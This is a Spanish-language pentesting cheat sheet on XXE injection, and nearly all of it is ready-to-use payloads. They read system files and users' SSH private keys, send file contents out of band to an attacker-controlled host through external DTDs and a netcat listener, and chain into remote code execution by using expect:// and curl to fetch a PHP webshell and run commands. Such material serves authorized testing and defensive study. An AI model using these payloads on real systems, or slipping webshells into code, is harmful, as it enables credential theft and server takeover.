Identificaci贸n XXE
General
Request original
Copiar <?xml version="1.0" encoding="UTF-8"?>
<root>
<name>MrW0l05zyn</name>
<email>example@example.com</email>
<tel>112233</tel>
</root>
Request modificado
Copiar <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe "XXE PoC">]>
<root>
<name>&xxe;</name>
<email>example@example.com</email>
<tel>112233</tel>
</root>
Out of bound (blind)
M谩quina atacante.
Copiar nc -lvnp <listen-port>
Request modificado Request modificado (parameter entities)
Copiar <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'http://<attacker-IP-address>:<listen-port>'>]>
<root>
<name>&xxe;</name>
<email>example@example.com</email>
<tel>112233</tel>
</root>
Copiar <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM 'http://<attacker-IP-address>:<listen-port>'>
%xxe;
]>
<root>
<name>MrW0l05zyn</name>
<email>example@example.com</email>
<tel>112233</tel>
</root>
Lectura de archivos
Lectura de archivo general
Copiar # Linux/Unix
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///etc/hosts'>]>
<element>&xxe;</element>
# Windows
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///C:/Windows/win.ini'>]>
<element>&xxe;</element>
Lectura de archivo id_rsa
Lectura de archivo id_rsa
correspondiente a llave privada de usuario del servicio SSH (Secure SHell).
Copiar # Linux/Unix
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///home/<user>/.ssh/id_rsa'>]>
<element>&xxe;</element>
# Windows
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///C:/Users/<user>/.ssh/id_rsa'>]>
<element>&xxe;</element>
Lectura de archivo PHP
Copiar <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=<file>">]>
<element>&xxe;</element>
Lectura de archivo utilizando CDATA
Creaci贸n de archivo DTD (Document Type Definition).
Copiar echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
Habilitaci贸n de servidor HTTP para compartir el archivo xxe.dtd
.
Copiar python -m SimpleHTTPServer <port>
python3 -m http.server <port>
Lectura de archivo.
Es posible que no podamos leer algunos archivos (como index.php), ya que el servidor web evitar铆a un ataque de DOS causado por la autorreferencia de archivo/entidad (es decir, bucle de referencia de entidad XML).
Copiar <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % begin "<![CDATA[">
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % end "]]>">
<!ENTITY % xxe SYSTEM "http://<attacker-IP-address>/xxe.dtd">
%xxe;
]>
<root>
<name>&joined;</name>
<email>example@example.com</email>
<tel>112233</tel>
</root>
Lectura de archivo basado en error
Creaci贸n de archivo DTD (Document Type Definition).
Copiar <!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY % exfil SYSTEM '%EntidadNoExistente;/%file;'>">
%error;
%exfil;
Habilitaci贸n de servidor HTTP para compartir el archivo xxe.dtd
.
Copiar python -m SimpleHTTPServer <port>
python3 -m http.server <port>
Lectura de archivo.
Copiar <!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://<attacker-IP-address>/xxe.dtd">
%remote;
]>
Lectura de archivo basado en XInclude
Copiar <root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/hosts"/></root>
Lectura de archivo "out of bound" (blind)
HTTP
Creaci贸n de archivo DTD (Document Type Definition).
Copiar <!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % oob "<!ENTITY % exfil SYSTEM 'http://<attacker-IP-address>/?content=%file;'>" >
Habilitaci贸n de servidor PHP.
Lectura de archivo.
Copiar <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://<attacker-IP-address>/xxe.dtd">
%remote;
%oob;
%exfil;
]>
<root></root>
PHP (protocol)
Creaci贸n de archivo DTD (Document Type Definition).
Copiar <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://<attacker-IP-address>/?content=%file;'>">
Creaci贸n de archivo index.php
.
Copiar <?php
if(isset($_GET['content'])){
error_log("\n\n" . base64_decode($_GET['content']));
}
?>
Habilitaci贸n de servidor PHP.
Lectura de archivo.
Copiar <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://<attacker-IP-address>/xxe.dtd">
%remote;
%oob;
]>
<root>&content;</root>
XML external entity (XXE) injection a Remote Code Execution (RCE)
Wrapper expect://
Creaci贸n de webshell.
Copiar <?php system($_GET['cmd']); ?>
Habilitaci贸n de servidor HTTP para compartir el archivo webshell.php
.
Copiar python -m SimpleHTTPServer <port>
python3 -m http.server <port>
Ejecuci贸n de cURL para descargar archivo webshell.php
en el servidor.
Copiar <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "expect://curl$IFS-O$IFS'<attacker-IP-address>/webshell.php'">
]>
<root>
<name>&xxe;</name>
<email>example@example.com</email>
<tel>112233</tel>
</root>
Ejecuci贸n de comandos.
Copiar http://<target>/webshell.php?cmd=id
脷ltima actualizaci贸n hace 9 meses